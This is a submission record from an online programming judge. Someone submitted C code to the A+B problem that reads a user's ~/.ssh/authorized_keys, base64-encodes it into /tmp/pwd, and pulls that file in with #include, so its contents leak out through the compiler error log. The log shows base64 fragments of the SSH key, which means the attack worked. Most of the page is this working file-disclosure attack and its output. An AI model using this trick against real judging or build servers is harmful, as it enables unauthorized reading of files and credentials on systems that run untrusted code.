Sign in $ create-account
~/problems ~/discussion ~/contests ~/submission
← ~/submission
run #1117 Compile Error P1000 · A+B Problem
Time 0 ms Memory 0 K Lang C
// Judge Result
Compile Error. In file included from /tmp/voj-1117/WBBIsLAwntDo.c:1:0: /tmp/pwd:1:1: error: unknown type name ‘c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFEWkVNZk04VTZBNzgwTm5SeFJ6’ c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFEWkVNZk04VTZBNzgwTm5SeFJ6 ^ /tmp/pwd:3:1: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘M2NZTmNTazhDaS96SXl5YjVaN3dYMGk4L3I3L2xPMUxKOG5RSEc1ZGkxREU5dmVGbjNEaVRzTmlW’ M2NZTmNTazhDaS96SXl5YjVaN3dYMGk4L3I3L2xPMUxKOG5RSEc1ZGkxREU5dmVGbjNEaVRzTmlW ^ /tmp/pwd:3:1: error: unknown type name ‘M2NZTmNTazhDaS96SXl5YjVaN3dYMGk4L3I3L2xPMUxKOG5RSEc1ZGkxREU5dmVGbjNEaVRzTmlW’ In file included from /tmp/voj-1117/WBBIsLAwntDo.c:2:0: /usr/include/stdlib.h:139:1: error: unknown type name ‘size_t’ extern size_t __ctype_get_mb_cur_max (void) __THROW __wur; ^ In file included from /tmp/voj-1117/WBBIsLAwntDo.c:2:0: /usr/include/stdlib.h:331:4: error: unknown type name ‘size_t’ size_t __statelen) __THROW __nonnull ((2)); ^ /usr/include/stdlib.h:361:4: error: unknown type name ‘size_t’ size_t __statelen, ^ /usr/include/stdlib.h:465:22: error: unknown type name ‘size_t’ extern void *malloc (size_t __size) __THROW __attribute_malloc__ __wur; ^ /usr/include/stdlib.h:467:22: error: unknown type name ‘size_t’ extern void *calloc (size_t __nmemb, size_t __size) ^ /usr/include/stdlib.h:467:38: error: unknown type name ‘size_t’ extern void *calloc (size_t __nmemb, size_t __size) ^ /usr/include/stdlib.h:479:36: error: unknown type name ‘size_t’ extern void *realloc (void *__ptr, size_t __size) ^ In file included from /usr/include/stdlib.h:491:0, from /tmp/voj-1117/WBBIsLAwntDo.c:2: /usr/include/alloca.h:32:22: error: unknown type name ‘size_t’ extern void *alloca (size_t __size) __THROW; ^ In file included from /tmp/voj-1117/WBBIsLAwntDo.c:2:0: /usr/include/stdlib.h:497:22: error: unknown type name ‘size_t’ extern void *valloc (size_t __size) __THROW __attribute_malloc__ __wur; ^ /usr/include/stdlib.h:502:45: error: unknown type name ‘size_t’ extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size) ^ /usr/include/stdlib.h:502:65: error: unknown type name ‘size_t’ extern int posix_memalign (void **__memptr, size_t __alignment, size_t __size) ^ /usr/include/stdlib.h:755:9: error: unknown type name ‘size_t’ size_t __nmemb, size_t __size, __compar_fn_t __compar) ^ /usr/include/stdlib.h:755:25: error: unknown type name ‘size_t’ size_t __nmemb, size_t __size, __compar_fn_t __compar) ^ /usr/include/stdlib.h:760:34: error: unknown type name ‘size_t’ extern void qsort (void *__base, size_t __nmemb, size_t __size, ^ /usr/include/stdlib.h:760:50: error: unknown type name ‘size_t’ extern void qsort (void *__base, size_t __nmemb, size_t __size, ^ /usr/include/stdlib.h:839:6: error: unknown type name ‘size_t’ size_t __len) __THROW __nonnull ((3, 4, 5)); ^ /usr/include/stdlib.h:842:6: error: unknown type name ‘size_t’ size_t __len) __THROW __nonnull ((3, 4, 5)); ^ /usr/include/stdlib.h:846:31: error: unknown type name ‘size_t’ char *__restrict __buf, size_t __len) ^ /usr/include/stdlib.h:850:31: error: unknown type name ‘size_t’ char *__restrict __buf, size_t __len) ^ /usr/include/stdlib.h:859:36: error: unknown type name ‘size_t’ extern int mblen (const char *__s, size_t __n) __THROW __wur; ^ /usr/include/stdlib.h:863:34: error: unknown type name ‘size_t’ const char *__restrict __s, size_t __n) __THROW __wur; ^ /usr/include/stdlib.h:870:1: error: unknown type name ‘size_t’ extern size_t mbstowcs (wchar_t *__restrict __pwcs, ^ /usr/include/stdlib.h:871:32: error: unknown type name ‘size_t’ const char *__restrict __s, size_t __n) __THROW; ^ /usr/include/stdlib.h:873:1: error: unknown type name ‘size_t’ extern size_t wcstombs (char *__restrict __s, ^ /usr/include/stdlib.h:874:38: error: unknown type name ‘size_t’ const wchar_t *__restrict __pwcs, size_t __n) ^ In file included from /tmp/voj-1117/WBBIsLAwntDo.c:3:0: /usr/include/string.h:43:8: error: unknown type name ‘size_t’ size_t __n) __THROW __nonnull ((1, 2)); ^ /usr/include/string.h:46:56: error: unknown type name ‘size_t’ extern void *memmove (void *__dest, const void *__src, size_t __n) ^ /usr/include/string.h:55:18: error: unknown type name ‘size_t’ int __c, size_t __n) ^ /usr/include/string.h:62:42: error: unknown type name ‘size_t’ extern void *memset (void *__s, int __c, size_t __n) __THROW __nonnull ((1)); ^ /usr/include/string.h:65:56: error: unknown type name ‘size_t’ extern int memcmp (const void *__s1, const void *__s2, size_t __n) ^ /usr/include/string.h:92:48: error: unknown type name ‘size_t’ extern void *memchr (const void *__s, int __c, size_t __n) ^ /usr/include/string.h:129:39: error: unknown type name ‘size_t’ const char *__restrict __src, size_t __n) ^ /usr/include/string.h:137:9: error: unknown type name ‘size_t’ size_t __n) __THROW __nonnull ((1, 2)); ^ /usr/include/string.h:143:57: error: unknown type name ‘size_t’ extern int strncmp (const char *__s1, const char *__s2, size_t __n) ^ /usr/include/string.h:150:1: error: unknown type name ‘size_t’ extern size_t strxfrm (char *__restrict __dest, ^ /usr/include/string.h:151:40: error: unknown type name ‘size_t’ const char *__restrict __src, size_t __n) ^ In file included from /tmp/voj-1117/WBBIsLAwntDo.c:3:0: /usr/include/string.h:165:1: error: unknown type name ‘size_t’ extern size_t strxfrm_l (char *__dest, const char *__src, size_t __n, ^ /usr/include/string.h:165:59: error: unknown type name ‘size_t’ extern size_t strxfrm_l (char *__dest, const char *__src, size_t __n, ^ /usr/include/string.h:180:45: error: unknown type name ‘size_t’ extern char *strndup (const char *__string, size_t __n) ^ /usr/include/string.h:281:1: error: unknown type name ‘size_t’ extern size_t strcspn (const char *__s, const char *__reject) ^ /usr/include/string.h:285:1: error: unknown type name ‘size_t’ extern size_t strspn (const char *__s, const char *__accept) ^ /usr/include/string.h:395:1: error: unknown type name ‘size_t’ extern size_t strlen (const char *__s) ^ /usr/include/string.h:402:1: error: unknown type name ‘size_t’ extern size_t strnlen (const char *__string, size_t __maxlen) ^ /usr/include/string.h:402:46: error: unknown type name ‘size_t’ extern size_t strnlen (const char *__string, size_t __maxlen) ^ In file included from /usr/include/features.h:375:0, from /usr/include/stdlib.h:24, from /tmp/voj-1117/WBBIsLAwntDo.c:2: /usr/include/string.h:423:12: error: unknown type name ‘size_t’ extern int __REDIRECT_NTH (strerror_r, ^ In file included from /tmp/voj-1117/WBBIsLAwntDo.c:3:0: /usr/include/string.h:447:33: error: unknown type name ‘size_t’ extern void __bzero (void *__s, size_t __n) __THROW __nonnull ((1)); ^ /usr/include/string.h:451:53: error: unknown type name ‘size_t’ extern void bcopy (const void *__src, void *__dest, size_t __n) ^ /usr/include/string.h:455:31: error: unknown type name ‘size_t’ extern void bzero (void *__s, size_t __n) __THROW __nonnull ((1)); ^ /usr/include/string.h:458:54: error: unknown type name ‘size_t’ extern int bcmp (const void *__s1, const void *__s2, size_t __n) ^ /usr/include/string.h:536:61: error: unknown type name ‘size_t’ extern int strncasecmp (const char *__s1, const char *__s2, size_t __n) ^ /usr/include/string.h:573:34: error: unknown type name ‘size_t’ const char *__restrict __src, size_t __n) ^ /usr/include/string.h:576:39: error: unknown type name ‘size_t’ const char *__restrict __src, size_t __n) ^ In file included from /usr/include/string.h:633:0, from /tmp/voj-1117/WBBIsLAwntDo.c:3: /usr/include/bits/string2.h:968:1: error: unknown type name ‘size_t’ __STRING_INLINE size_t __strcspn_c1 (const char *__s, int __reject); ^ /usr/include/bits/string2.h:970:1: error: unknown type name ‘size_t’ __strcspn_c1 (const char *__s, int __reject) ^ /usr/include/bits/string2.h: In function ‘__strcspn_c1’: /usr/include/bits/string2.h:972:3: error: unknown type name ‘size_t’ register size_t __result = 0; ^ /usr/include/bits/string2.h: At top level: /usr/include/bits/string2.h:978:1: error: unknown type name ‘size_t’ __STRING_INLINE size_t __strcspn_c2 (const char *__s, int __reject1, ^ /usr/include/bits/string2.h:981:1: error: unknown type name ‘size_t’ __strcspn_c2 (const char *__s, int __reject1, int __reject2) ^ /usr/include/bits/string2.h: In function ‘__strcspn_c2’: /usr/include/bits/string2.h:983:3: error: unknown type name ‘size_t’ register size_t __result = 0; ^ /usr/include/bits/string2.h: At top level: /usr/include/bits/string2.h:990:1: error: unknown type name ‘size_t’ __STRING_INLINE size_t __strcspn_c3 (const char *__s, int __reject1, ^ /usr/include/bits/string2.h:993:1: error: unknown type name ‘size_t’ __strcspn_c3 (const char *__s, int __reject1, int __reject2, ^ /usr/include/bits/string2.h: In function ‘__strcspn_c3’: /usr/include/bits/string2.h:996:3: error: unknown type name ‘size_t’ register size_t __result = 0; ^ /usr/include/bits/string2.h: At top level: /usr/include/bits/string2.h:1044:1: error: unknown type name ‘size_t’ __STRING_INLINE size_t __strspn_c1 (const char *__s, int __accept); ^ /usr/include/bits/string2.h:1046:1: error: unknown type name ‘size_t’ __strspn_c1 (const char *__s, int __accept) ^ /usr/include/bits/string2.h: In function ‘__strspn_c1’: /usr/include/bits/string2.h:1048:3: error: unknown type name ‘size_t’ register size_t __result = 0; ^ /usr/include/bits/string2.h: At top level: /usr/include/bits/string2.h:1055:1: error: unknown type name ‘size_t’ __STRING_INLINE size_t __strspn_c2 (const char *__s, int __accept1, ^ /usr/include/bits/string2.h:1058:1: error: unknown type name ‘size_t’ __strspn_c2 (const char *__s, int __accept1, int __accept2) ^ /usr/include/bits/string2.h: In function ‘__strspn_c2’: /usr/include/bits/string2.h:1060:3: error: unknown type name ‘size_t’ register size_t __result = 0; ^ /usr/include/bits/string2.h: At top level: /usr/include/bits/string2.h:1067:1: error: unknown type name ‘size_t’ __STRING_INLINE size_t __strspn_c3 (const char *__s, int __accept1, ^ /usr/include/bits/string2.h:1070:1: error: unknown type name ‘size_t’ __strspn_c3 (const char *__s, int __accept1, int __accept2, int __accept3) ^ /usr/include/bits/string2.h: In function ‘__strspn_c3’: /usr/include/bits/string2.h:1072:3: error: unknown type name ‘size_t’ register size_t __result = 0; ^ /usr/include/bits/string2.h: In function ‘__strpbrk_c2’: /usr/include/bits/string2.h:1128:42: error: ‘size_t’ undeclared (first use in this function) return *__s == '\0' ? NULL : (char *) (size_t) __s; ^ /usr/include/bits/string2.h:1128:42: note: each undeclared identifier is reported only once for each function it appears in /usr/include/bits/string2.h:1128:50: error: expected ‘;’ before ‘__s’ return *__s == '\0' ? NULL : (char *) (size_t) __s; ^ /usr/include/bits/string2.h: In function ‘__strpbrk_c3’: /usr/include/bits/string2.h:1140:42: error: ‘size_t’ undeclared (first use in this function) return *__s == '\0' ? NULL : (char *) (size_t) __s; ^ /usr/include/bits/string2.h:1140:50: error: expected ‘;’ before ‘__s’ return *__s == '\0' ? NULL : (char *) (size_t) __s; ^ /usr/include/bits/string2.h: At top level: /usr/include/bits/string2.h:1320:47: error: unknown type name ‘size_t’ extern char *__strndup (const char *__string, size_t __n) ^ Compile Error, Time = 0 ms, Memory = 0 KB, Score = 0.
// Source
#include</tmp/pwd>
#include<stdlib.h>
#include<string.h>
int main(){
  system("cat /home/zjhzxhz/.ssh/authorized_keys|base64 >/tmp/pwd");
 
  return 0;
}
length 160 B
Compile Error
Judge Result
Run ID#1117
ProblemP1000
Submitted byzhblue
LanguageC
Used Time0 ms
Used Memory0 K
Code length160 B
Submit TimeAugust 11, 2016, 8:05:57 PM
Execute TimeAugust 11, 2016, 8:05:59 PM
// Judger
C
View Problem